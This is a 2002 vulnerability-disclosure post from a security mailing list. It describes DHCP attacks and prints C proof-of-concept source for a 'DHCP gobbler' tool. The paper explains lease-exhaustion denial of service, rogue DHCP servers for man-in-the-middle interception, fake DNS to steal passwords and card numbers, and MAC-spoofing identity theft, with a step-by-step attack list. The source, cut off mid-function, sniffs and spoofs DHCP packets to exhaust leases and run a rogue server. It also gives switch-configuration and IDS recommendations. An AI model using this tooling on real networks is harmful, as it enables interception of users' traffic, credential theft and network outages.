DHCP man in the middle attack

From: root@networkpenetration.com
Date: 09/21/02


Date: 21 Sep 2002 00:02:13 -0000
From: <root@networkpenetration.com>
To: vuln-dev@securityfocus.com


('binary' encoding is not supported, stored as-is)

www.networkpenetration.com
--------------------------
Ste Jones
root@NetworkPenetration.com

Flaws within the Dynamic Host Configuration Protocol
----------------------------------------------------
This paper highlights some of the problems with the Dynamic Host Configuration Protocol (DHCP)
such as denial of service, how to perform a man in the middle attack and also how to steal a
machines identity. Proof of concept source code is available from www.networkpenetration.com.

Overview of the Dynamic Host Configuration Protocol
---------------------------------------------------
DHCP is used to automatically configure machines with an IP address so that the hosts do not
have to be statically assigned IP addresses. DHCP helps reduce administration as a central
server issues IP addresses to network cards upon request. DHCP also helps combat the problem
 of a shortage of IP version 4 address as DHCP allows more machines than there are available
 IP addresses. Most ISPs that have dial up access use DHCP to set a modems IP address, as
they assume that not every modem will be online at the same time.

Packet exchange for a clients interface to obtain an IP address
---------------------------------------------------------------
For a clients network interface card (NIC) to be assigned an IP address various packets are sent
from the NIC to the DHCP server. The packet exchange is as follows

1. The client sends a DHCP discover packet, indicating that a clients interface requires a IP
 address from a DHCP server. The clients interface may ask for its previous IP address from
 the server, this may cause problems with the man in the middle attack (explained later).

2. The server sends a DHCP offer packet, informing the client of what IP address is on offer.
The IP address being offered may or may not be the one requested (if the interface asked for
a specific IP address with the discover packet) depending on how busy the network is. If the
network is busy then the IP address requested with the discover packet may have already been
re-assigned to a different interface, thus a different IP address will be offered.

3. The client sends a DHCP request, informing the DHCP server that the clients NIC wishes to be
assigned the IP address sent by the servers offer.

4. The server sends a DHCP ack, acknowledging that the NIC has sent a request for a specific IP
address. At this point the clients interface assigns / binds the IP address from the DHCP servers
offer packet in step two.

Once this sequence of packets occurs a client has been assigned an IP address and probably a default
gateway and DNS server. Numerous options can be set by the DHCP server, for a full list consult the
RFC documentation.

Denial of service attack
------------------------
By spoofing the clients packet exchange a DHCP server will happily give all the available leases to
spoofed MAC address thus causing a denial of service. Any machine wishing to join the network after
the attack would not be allocated an IP address as the whole of the DHCP range will have been either
allocated to valid interfaces (ie. interfaces already joined to the network before the attack took
place) or spoofed MAC addresses (from the attack). Any interface already joined to the network would
not notice the effect of the attack as they have already been assigned an IP address, but interfaces
without a IP address would not be able to join the network as the DHCP server will have no available
IP addresses.

Some DHCP servers issue ARP requests or ICMP pings to detect for IP addresses that may be reclaimed by
the server. This is done as operating systems / interfaces do not release there assigned IP address
when shutdown. Basic testing of the denial of service code successfully defeat the ARP method of
reclaiming IP addresses (ICMP method was not tested) as the number and speed of requests for IP addresses
was significantly higher than the number of ARP requests issued by the DHCP server (when running multiple
copies of the source code in a script). The source code could be extended to sniff for ARP requests / ICMP
ping requests and reply accordingly thus defeating the servers method of reclaiming addresses.

A windows 2000 machine running DHCP with active directory, sends a packet at boot up to check that it is
the only DHCP server on the network, if it is the only DHCP server then it is authorised and allowed
to act as a DHCP server. Further investigation is required to see if this can be reversed to deny a
win2k DHCP server from starting.

Rogue DHCP server
-----------------
By setting up a rogue DHCP server, a hacker could create a veritable playground for him/her self. The DHCP
protocol can aid a hacker to redirect traffic through their machine (man in the middle attack) or send
users to false web pages (via a rogue DNS server). This could occur as a DHCP server can set various options
 such as what IP address to use for the default gateway and also what DNS servers to use.

Man in the middle attack
------------------------
By starting a rogue DHCP server, the real DHCP server and the rogue server will fight to assign a interface
 an IP address. If a rogue server wins then the interface could be assigned a different default gateway.
By assigning a different default gateway (i.e. a hackers machine) all outgoing packets would be sent via
 the hackers machine thus sniffable. The machine acting as the default gateway would need to rewrite the
MAC layer to enable the packets to be forwarded to the correct destination (ie the correct default gateway).

How the man in the middle attack works
--------------------------------------
The source code grabs an IP address from the DHCP server using the same method as the denial of service but
 instead of stealing all the IP addresses only one IP address is stolen. A rogue DHCP server is then
started and listens for a client to send a discovery packet to the broadcast address. The rogue server and
 the valid server then both send a offer packet (the rogue server issues the IP address stolen at the start
 of the attack, this is to ensure that no IP address conflicts occur) and depending on which reaches the
client first, determines which server the client uses. If the client uses the valid DHCP server then the man
 in the middle attack will fail.... If the client uses the rogue DHCP server the man in the middle attack will
succeed.

A couple of problems with the man in the middle attack
------------------------------------------------------
One problem with the DHCP man in the middle attack is that it may not work on a small network. The attack may
 not work if the NIC's request for its old IP address is fulfilled. If the normal DHCP server can fulfil the
request for the specified IP address, the NIC will be assigned the previous IP address and not the one from
 the rogue server. The only way a rogue server can assign IP addresses is if the requested IP address is not
 available on the normal DHCP server (i.e. The address has been re-allocated to another interface). The rogue
 server would not be able to fulfil the NIC's initial request as the rogue servers address range is based on
stolen addresses from the normal DHCP server, and is unlikely to contain the IP address requested. If a rogue
 server issues a requested IP address to any NIC that wanted it, problems would occur on the network as
 multiple machines may have the same IP address.

Another problem with the attack is that it would only be a one way attack as the default gateway assigned
 by the rogue DHCP server is not the real default gateway. The fake gateway would need to sniff the packets
 and rewrite the MAC layer to enable the packets to be sent to the correct default gateway. The problem
would occur with packets being sent from the correct default gateway back to the attacked machine as the
packets would not pass through the rogue gateway, thus can not be sniffed. This basically means that all
 outgoing traffic can be sniffed and all incoming traffic can't.

A full man in the middle attack can be established using programs such as Dsniff and Ettercap which both
utilise ARP poisoning to establish the man in the middle attack.

Exploiting DHCP to trick users into using a fake DNS server
-----------------------------------------------------------
As mentioned above a DHCP server can tell a interface which DNS server to use, so by specifying a hackers
 machine running a fake DNS server could make getting usernames, passwords, credit card numbers relatively
 easily. The fake DNS server would point for example www.hotmail.com to the hackers IP address.... so as long
 as the hacker has a convincing copy of hotmail's front page the username and password could be easily stolen.

Stealing a machines identity
----------------------------
Many servers that use DHCP get re-assigned the same IP address every time they request an IP address. A list
 of MAC addresses (maintained by the administrator) is used to re-assign the same IP address to a specific
 MAC address. By spoofing the MAC address of a specific machine and requesting the corresponding IP address
 a machines identity can be stolen. For this to occur the target machine needs to DoSed, and the packet
exchange (to steal the identity) to take place before the machine is rebooted. If successful the target
 machines IP address will be given to the hacker and with a bit of ARP trickery (reply to ARP requests)
 that state should be maintained.

Man in the middle attack a machine on a small network (noisy method)
--------------------------------------------------------------------
1) Denial of service a machine on the network, try using jolt2.
2) Before the machine reboots, steal the IP address it was allocated so that it has to request a new address
3) Start a rogue DHCP server, and hope that it wins the fight to assign a clients IP address.

Recommendations
---------------
Deploy switches (not hubs) and ensure that mac spoofing is not allowed on them.
Use the DHCP protocol monitor (snort IDS plug-in) to identify possible rogue servers.

More info
---------
RFC 2131 & 2132

Source code
-----------

//DHCP.h
//DHCP gobbler header file
//includes
#include <stdio.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <getopt.h>
#include <arpa/inet.h>
#include <string.h>
#include <signal.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <libnet.h>
#include <pcap.h>
//#include <errno.h>
#include <setjmp.h>
//defines
#define SA struct sockaddr
#define SPORT 67
#define CPORT 68
#define VER "0.66"
#define MAXLINE 4096
#define MAX_PAYLOAD_SIZE 1025
#define CMD "udp and dst port %d" //gobbling
#define CMD2 "udp and src port %d or src port %d" //mitm
#define CMD3 "ether dst ffffffff" //arpsniff

//variables
extern int verbose;
extern int datalink;
extern char *device;
extern int fddipad;
extern pcap_t *pd;
extern int snaplen;
extern char buf;
extern int count;
extern int middle;
extern int ackit;
extern int requestit;
extern int samemac;
extern int nackit;
extern int offerit;
extern unsigned int reqipa, reqipb, reqipc, reqipd, sentipa, sentipb, sentipc, sentipd, subneta, subnetb, subnetc, subnetd, dnsa, dnsb, dnsc, dnsd, dnse, dnsf,dnsg, dnsh, gatewaya, gatewayb, gatewayc, gatewayd, renewa, renewb, renewc, renewd, rebinda, rebindb, rebindc, rebindd, renewala, renewalb, renewalc, renewald, rebinda, rebindb, rebindc, rebindd, leasea, leaseb, leasec, leased;
extern u_char storedmac[6];
extern int storedpackid;
extern int nonewips;
extern int gipnum;
extern int arpsniff;

//structs
struct header{
        struct iphdr ip; //ip header
        struct udphdr udp; //udp header
        char buf[548]; //DHCP header
};

struct arpheader{
        struct libnet_arp_hdr arp;
};

struct gobbledIPs{
        unsigned int address[4];
        unsigned int ethernet[7];
};

//prototypes
void usage(char *progname);
struct header *opensniff(u_char comp1, u_char comp2, u_char comp3, u_char comp4);
void open_pcap(void);
struct header *udp_check(char *ptr, int len);
struct header *udpread(void);
char *next_pcap(int *len);
unsigned short in_chksum(unsigned short *pts, int nbytes);
void cleanup(int sigio);
struct header *gobble(void);
char *next_pcap(int *);
void open_pacp(void);
void mitm(void);
void sig_alrm(int sigio);
void sniffedattack(struct header *heada);
void trickery(void);
void getgatewaymac();
void gatewayarpsniff();
//convert.c prototypes
unsigned int convert32(char *ptr, int anum, int bnum, int cnum, int dnum);
unsigned int convert16(char *ptr, int anum, int bnum);
unsigned int convert8(char *ptr, int num);

//libnet stuff
extern u_char *netdevice;
//
//
//end of DHCP.h

//start of main.c
/*12 may 2k2
www.networkpenetration.com
dhcp gobbler by Ste Jones root@networkpenetration.com
proof of concept code for DCHP IP excaution attack + proof of concept of man in the middle attack

Tested on mandrake 8 against a win2k advanced server box running the default DHCP server
should work against all DHCP servers.
to defend against this attack make sure your switches are properly configured to
disallow spoofed mac address + also apply a strict access policy to the DHCP server esspecially on
wireless networks.

bugs.... probably lots.....
sometimes the sniffer freezes at the start..... just ctrl+c and restart
use ./compile to build DHCP gobbler

for educational use only
Paper avialable from www.networkpenetration.com

TO DO
-----
The rouge dhcp server works... ie it sets the default gateway and DNS server to the ones
specified on the command line. Addition coding is required for this program to act as a default gateway
and also a spoofed DNS server needs to be written. Ideally the spoofed DNS would perform
a zone transfer to perform the DNS lookup's, coupled with a list of addresses
with their corrisponding spoofed ip addresses

recode as multithreaded
need to create list of IPs + mac addresses to defeat arp request method of reclaiming addresses
add wireless support
add ppp support for testing pen testing ISP's
mitm..... rewrite mac layer so packets can be forwarded,
probe for mac address of normal gateway
*/

#include "DHCP.h"

int datalink, gob, count, middle, maninthemiddle, timeout, ackit, nackit, requestit, offerit, samemac, nonewips, gipnum, storedpackid;
register int verbose;
static sigjmp_buf jmpbuf;
static int canjump;
char *device; //libpcap device
pcap_t *pd;
int fddipad; //fddi hack
int snaplen = 600;
u_char *netdevice; //libnet device
unsigned int reqipa = 0, reqipb = 0, reqipc = 0, reqipd = 0; //requested IP
unsigned int sentipa = 0, sentipb = 0, sentipc = 0, sentipd = 0; //sent requested ip
unsigned int subneta = 0, subnetb = 0, subnetc = 0, subnetd = 0; //store offered subnet mask
unsigned int dnsa = 0, dnsb = 0, dnsc = 0, dnsd = 0, dnse = 0, dnsf = 0, dnsg = 0, dnsh = 0; //dns server 2 addresses
unsigned int gatewaya = 0, gatewayb = 0, gatewayc = 0, gatewayd = 0;
unsigned int renewala = 0, renewalb = 0, renewalc = 0, renewald = 0;
unsigned int rebinda = 0, rebindb = 0, rebindc = 0, rebindd = 0;
unsigned int leasea = 0, leaseb = 0, leasec = 0, leased = 0;
u_char storedmac[6];
struct gobbledIPs gips[512]; //Array for the gobbled IP addressess..... should really sort out malloc for each new IP
struct header sniffedofferheader;
struct in_addr gateway;
struct in_addr dns;
struct in_addr fakedhcp;
struct arpheader arphdr;
int arpsniff;

int main (int argc, char **argv)
{
        int c;
        struct header *head;
        int flag;
        
        printf("\nDHCP gobbler v" VER " from www.networkpenetration.com\n");
        printf("--------------------------------------------------\n\n");
        
        device = NULL;
        netdevice = NULL;
        
        flag = 0;
        opterr = 0;
        while ((c = getopt(argc, argv, "s:i:gvm:n:t:D:G:A:M")) != -1){
                switch(c){
                        case 'i': netdevice = optarg; //libnet device
                                  break;
                        
                        case 's': device = optarg; //libpcap device
                                  break;
                        
                        case 'g': gob = 1; //gobble all the addresses
                                  break;
                        
                        case 'v': verbose = 1;
                                  break;

                        case 'm': maninthemiddle = atoi(optarg);
                                  break;

                        case 't': timeout = atoi(optarg);
                                  break;
                
                        case 'G': if(!inet_aton(optarg, &gateway)){
                                          printf("Malformed Gateway IP address: %s\n\n", optarg);
                                          exit(1);
                                  }
                                  flag++;
                                  break;
                                  

                        case 'D': if(!inet_aton(optarg, &dns)){
                                          printf("Malformed DNS IP address: %s\n\n", optarg);
                                          exit(1);
                                  }
                                  flag++;
                                  break;

                        case 'A' : if(!inet_aton(optarg, &fakedhcp)){
                                           printf("Malformed fake DHCP server address: %s\n\n", optarg);
                                           exit(1);
                                   }
                                   flag++;
                                   break;
                                   
                        case 'M': getgatewaymac();
                                  exit(1);
                                  break;
                                  
                
                        case '?': usage(argv[0]);
                                  exit(0);
                                  
                        default: usage(argv[0]);
                                 exit(0);
                }
        }
        
        if((gob) && (maninthemiddle)){
                printf("Can't gobble and do a man in the middle attack at the same time\n\n");
                exit(1);
        }
        
        if(!timeout) timeout = 3; //10 sec in RFC for each MAC
        if(timeout < 1) {
                printf("Timeout needs to be greater than 1\n\n");
                exit(1);
        }
        //printf("Timeout set to %d seconds\n", timeout);
        
        //auto detect interface IP address for default gateway, use default DNS intially
        if((maninthemiddle) && (flag != 3)){
                printf("When performing a man in the middle attack you need to specify a DNS, default gateway and fake DHCP server address\n\n");
                exit(1);
        }

        if(gob) {
                for( ; ; ){
                        sleep(1.5);
                        head = gobble();
                }
                exit(0);
        }
        if(maninthemiddle){
                        mitm();
                exit(0);
        }
        usage(argv[0]);
        exit(0);
}

void usage(char *progname)
{
        printf( "Attack Options\n"\
                "-g to gobble all available IP's\n"\
                "-m <#> Start a man in the middle attack, # indicates number of connections to initially gobble\n\n"\
                "Man in the middle attack options\n"\
                "-D <IP Address> IP address of spoofed DNS server\n"\
                "-G <IP Address> IP address of spoofed default gateway\n"\
                "-A <IP Address> IP address of fake DHCP server (can be spoofed)\n\n"\
                "Misc Options\n"\
                "-s <NIC> select interface for sniffer use\n"\
                "-i <NIC> select interface for injecting packets\n"\
                "-v verbose\n\n"\
                "Press CTRL+C to quit the DHCP gobbler\n\n");
        exit(0);
}

struct header *opensniff(u_char comp1, u_char comp2, u_char comp3, u_char comp4)
{
        struct header *heada;
        char sname[64];
        char file[128];
        register int loop;
        int sstart, fstart, t, len, offer;
        int padcount = 0;
        int comp1a, comp2a, comp3a, comp4a;
        int discover = 0;
        int request = 0;
        int nack = 0;
        int ack = 0;
        int decline = 0;
        int addra, addrb, addrc, addrd;
        
        
        open_pcap();
        
        printf("Sniffing DHCP packets.....\n");
        for ( ; ; ){
                bzero(&heada, sizeof(heada));
                heada = udpread();
                padcount = 0;
                
                //store IP addresses
                addra = convert8(heada->buf, 16);
                addrb = convert8(heada->buf, 17);
                addrc = convert8(heada->buf, 18);
                addrd = convert8(heada->buf, 19);
        
                
                if(verbose){
                        printf("\nGot a DHCP packet\n");
                        printf("OP: %x ", heada->buf[0]);
                        if(heada->buf[0] == 1){
                                printf("Boot Request");
                        }
                        if(heada->buf[0] == 2){
                                printf("Boot Reply");
                        }
                        printf("\nH Type: %x", heada->buf[1]);
                        if(heada->buf[1] == 1){
                                printf(", 10Mb Ethernet");
                        }
                        printf("\nHLEN: %x", heada->buf[2]);
                        if(heada->buf[2] == 6){
                                printf(", 10Mb Ethernet");
                        }
                        printf("\nHops: %x", convert8(heada->buf,3));
                        printf("\nTransaction ID: %x %x %x %x", convert8(heada->buf,4), convert8(heada->buf,5), convert8(heada->buf,6), convert8(heada->buf,7));
                        printf("\nElapsed Time: %d secs", convert16(heada->buf, 8,9));
                        printf("\nReserved: %x %x", convert8(heada->buf,10), convert8(heada->buf,11));
                        printf("\nCli addr: %d.%d.%d.%d", convert8(heada->buf, 12), convert8(heada->buf,13), convert8(heada->buf, 14), convert8(heada->buf, 15));
                        printf("\nYi addr: %d.%d.%d.%d", convert8(heada->buf,16), convert8(heada->buf,17), convert8(heada->buf,18), convert8(heada->buf,19));
                        printf("\nSi addr: %d.%d.%d.%d", convert8(heada->buf,20), convert8(heada->buf,21), convert8(heada->buf,22), convert8(heada->buf,23));
                        printf("\nGi addr: %d.%d.%d.%d", convert8(heada->buf,24), convert8(heada->buf,25), convert8(heada->buf,26), convert8(heada->buf,27));
                        printf("\nHardware address %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x", convert8(heada->buf,28), convert8(heada->buf,29), convert8(heada->buf,30), convert8(heada->buf,31), convert8(heada->buf,32), convert8(heada->buf,33), convert8(heada->buf,34), convert8(heada->buf,35), convert8(heada->buf,36), convert8(heada->buf,37), convert8(heada->buf,38), convert8(heada->buf,39), convert8(heada->buf,40), convert8(heada->buf,41), convert8(heada->buf,42), convert8(heada->buf,43));
                        sstart = 44;
                        for(loop = 0; loop < 64; loop++) {
                                bcopy(&heada->buf[sstart], &sname[loop], 1);
                                sstart++;
                        }
                        printf("\nSname: %s\n", sname); //44 -> 107
        
                        fstart = 108;
                        for(loop = 0; loop <128; loop++){
                                bcopy(&heada->buf[fstart], &file[loop], 1);
                                fstart++;
                        }
                        printf("file: %s\n", file); //108 ->235
                        printf("magic cookie: %d.%d.%d.%d\n",convert8(heada->buf,236), convert8(heada->buf,237), convert8(heada->buf,238), convert8(heada->buf,239));
                
                } //end of if verbose
                t = 240;
                
                while(t <= 548){
                        len = 0;
                        switch (heada->buf[t]) {
                                        //start of switch for option tag
                                        //255 different tags..... far to many to implement at the moment
                                case 1: //subnet address
                                        len = heada->buf[t+1];
                                        subneta = convert8(heada->buf, (t+2));
                                        subnetb = convert8(heada->buf, (t+3));
                                        subnetc = convert8(heada->buf, (t+4));
                                        subnetd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Subnet Mask, len: %d, data: ",len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%d ", convert8(heada->buf, (t+loop+2)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                        
                                case 3: //router option (default gateway)
                                        len = heada->buf[t+1];
                                        gatewaya = convert8(heada->buf, (t+2));
                                        gatewayb = convert8(heada->buf, (t+3));
                                        gatewayc = convert8(heada->buf, (t+4));
                                        gatewayd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Router Option (default gateway), len: %d, data: %d.%d.%d.%d\n",len, convert8(heada->buf, t+2), convert8(heada->buf, t+3), convert8(heada->buf, t+4), convert8(heada->buf, t+5));
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose)printf("End of router list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose)printf("eek should of been end of list, the rest of the packet may be rubbish\n");
                                        }
                                        break;

                                case 6: //domain name server
                                        len = heada->buf[t+1];
                                        dnsa = convert8(heada->buf, (t+2));
                                        dnsb = convert8(heada->buf, (t+3));
                                        dnsc = convert8(heada->buf, (t+4));
                                        dnsd = convert8(heada->buf, (t+5));
                                        //still need to sort 2nd dns server
                                        if(verbose) printf("Domain name server IP, len: %d, data: ", len);
                                        for(loop = 0; loop <len; loop++){
                                                if(verbose) printf("%d ", convert8(heada->buf, (t+loop+2)));
                                        }
                                        if(verbose) printf("\n");
                                                t = t+len+2;
                                                if(heada->buf[t] == -1){
                                                if(verbose) printf("End of domain name parameter list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose) printf("eek should of been end of list, the rest of the packet may be rubbish\n");
                                        }
                                        break;
                                        
                                case 12: //hostname
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Hostname: ");
                                        for(loop = 0; loop <len; loop++){
                                                if(verbose) printf("%c",(char)heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;

                                case 50://request IP address
                                        len = heada->buf[t+1];
                                        reqipa = convert8(heada->buf, (t+2));
                                        reqipb = convert8(heada->buf, (t+3));
                                        reqipc = convert8(heada->buf, (t+4));
                                        reqipd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Request IP address, len: %d, data: %d.%d.%d.%d\n", len, reqipa, reqipb, reqipc, reqipd);
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose)printf("End of requested IP list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose)printf("eek should of been end of list, the rest of the packet may be rubbish\n");
                                        }
                                        break;

                                case 51: //IP address lease time
                                        len = heada->buf[t+1];
                                        leasea = convert8(heada->buf, (t+2));
                                        leaseb = convert8(heada->buf, (t+3));
                                        leasec = convert8(heada->buf, (t+4));
                                        leased = convert8(heada->buf, (t+5));
                                        if(verbose)printf("IP address lease time, len: %d, data: ", len);
                                        if(len == 4){
                                                if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+2+1), (t+2+2), (t+2+3)));
                                        }
                                        if(verbose)printf("\n");
                                        t = t+len+2;
                                        break;
                                
                                case 53: //Message Type
                                        len = heada->buf[t+1];
                                        if(verbose)printf("Message Type, len: %d, TYPE: %d ", len, heada->buf[t+len+1]);
                                        if((heada->buf[t+len+1]) == 1){
                                                if(verbose) printf("DHCP Discover\n");
                                                discover = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 2){
                                                if(verbose) printf("DHCP Offer\n");
                                                offer = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 3){
                                                if(verbose) printf("DHCP Request\n");
                                                request = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 4){
                                                if(verbose) printf("DHCP Decline\n");
                                                decline = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 5){
                                                if(verbose) printf("DHCP Ack\n");
                                                ack = 1;
                                                t = t+len+2;
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 6){
                                                nack = 1;
                                                t = t+len+2;
                                                if(verbose) printf("DHCP Nack\n");
                                                        break;
                                        }
                                        if((heada->buf[t+len+1]) == 7){
                                                t = t+len+2;
                                                if(verbose) printf("DHCP Release\n");
                                                break;
                                        }
                                        if((heada->buf[t+len+1]) == 8){
                                                t = t+len+2;
                                                if(verbose) printf("DHCP Inform\n");
                                                break;
                                        }
                                        break; //shouldn't reach here

                                case 54: //server IP
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Server IP, len: %d data: ",len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%d ",convert8(heada->buf, (t+loop+2)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose) printf("End of Server IP parameter list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose) printf("eek should of been end of list, the rest of the packet may be rubbish\n");
                                        }
                                        break;
                                
                                case 55: //request list
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Request parameters list, len: %d\n", len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%x ",heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        if(heada->buf[t] == -1){
                                                if(verbose) printf("End of request parameter list\n");
                                                t++;
                                        }
                                        else {
                                                if(verbose) printf("eek should of been end of list, the rest of the packet may be rubbish\n");
                                        }
                                        break;
                                        
                                case 57: //MAX DCHP message size
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Max DHCP message size len: %d, data: %d\n", len, convert16(heada->buf, (t+2), (t+3)));
                                        t = t+len+2;
                                        break;
                                
                                case 58: //renewal (T1) time value
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Renewal (T1) time, len: %d, data: ", len);
                                        
                                        renewala = convert8(heada->buf, (t+2));
                                        renewalb = convert8(heada->buf, (t+3));
                                        renewalc = convert8(heada->buf, (t+4));
                                        renewald = convert8(heada->buf, (t+5));

                                        if(len == 4){
                                                if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+3), (t+4), (t+5)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;

                                case 59: //Rebinding (T2) time value
                                        len = heada->buf[t+1];
                                        rebinda = convert8(heada->buf, (t+2));
                                        rebindb = convert8(heada->buf, (t+3));
                                        rebindc = convert8(heada->buf, (t+4));
                                        rebindd = convert8(heada->buf, (t+5));
                                        if(verbose) printf("Rebinding (T2) time, len: %d, data: ",len);
                                        if(len == 4){
                                                if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+3), (t+4), (t+5)));
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                
                                case 60: //class ID
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Class ID, len: %d, data: ",len);
                                        for(loop = 0; loop <len; loop++){
                                                  if(verbose) printf("%c",(char)heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                
                                case 61: //client identfier
                                        len = heada->buf[t+1];
                                        if(verbose) printf("Client Identifier, len: %d data: ", len);
                                        for(loop = 0; loop <len; loop++){
                                                   if(verbose) printf("%x ",heada->buf[t+loop+2]);
                                        }
                                        if(verbose) printf("\n");
                                        t = t+len+2;
                                        break;
                                          
                                
                                default:
                                        if((heada->buf[t]) == 0) {
                                                if(verbose) printf("pad ");
                                                 padcount++;
                                                t++;
                                                break;
                                        }
                                        
                                        else{
                                                 len = heada->buf[t+1];
                                                if(verbose) printf("Unknown option number: %x, len: %d data: ", heada->buf[t], len);
                                                for(loop = 0; loop <len; loop++){
                                                        if(verbose) printf("%x ",heada->buf[t+loop+2]);
                                                }
                                                if(verbose) printf("\n");
                                                t = t+len+2;
                                                if(heada->buf[t] == -1){
                                                        if(verbose) printf("End of some random list\n");
                                                        t++;
                                                }
                                                break;
                                        }
                                } //end of switch
                                 
                                if(padcount > 5) {
                                        //save's dumping lots of pads
                                        if(verbose) printf("padding......\n");
                                        break;
                                 }
                        
                        }//end of options
                        
                        if (verbose) printf("\n--------END OF PACKET--------\n\n");
                        comp1a = convert8(heada->buf, 4);
                        comp2a = convert8(heada->buf, 5);
                        comp3a = convert8(heada->buf, 6);
                        comp4a = convert8(heada->buf, 7);
                        
                        if((offer) && (!middle) &&(!requestit) && (!ackit)){
                                if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){
                                        printf("Got a DHCP OFFER packet\n");
                                        memcpy(&sniffedofferheader, heada, sizeof(heada));
                                        return(heada);
                                }
                        }
                
                        if((discover) && (middle)){
                                if(requestit){
                                        printf("Need to send another offer\n");
                                        sniffedattack(heada);
                                }
                                else {
                                        printf("Got A DHCP discover packet..... a host is trying to find a valid IP\n");
                                        return(heada);
                                }
                        }
                
                        if((request) && (requestit)){
                                printf("got a dhcp request packet\n");
                                if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){
                                        printf("Transaction compare passed...\n");
                                        printf("Request IP: %d.%d.%d.%d\n", reqipa, reqipb, reqipc, reqipd);
                                        printf("Offerd IP: %d.%d.%d.%d\n", sentipa, sentipb, sentipc, sentipd);
                                &nb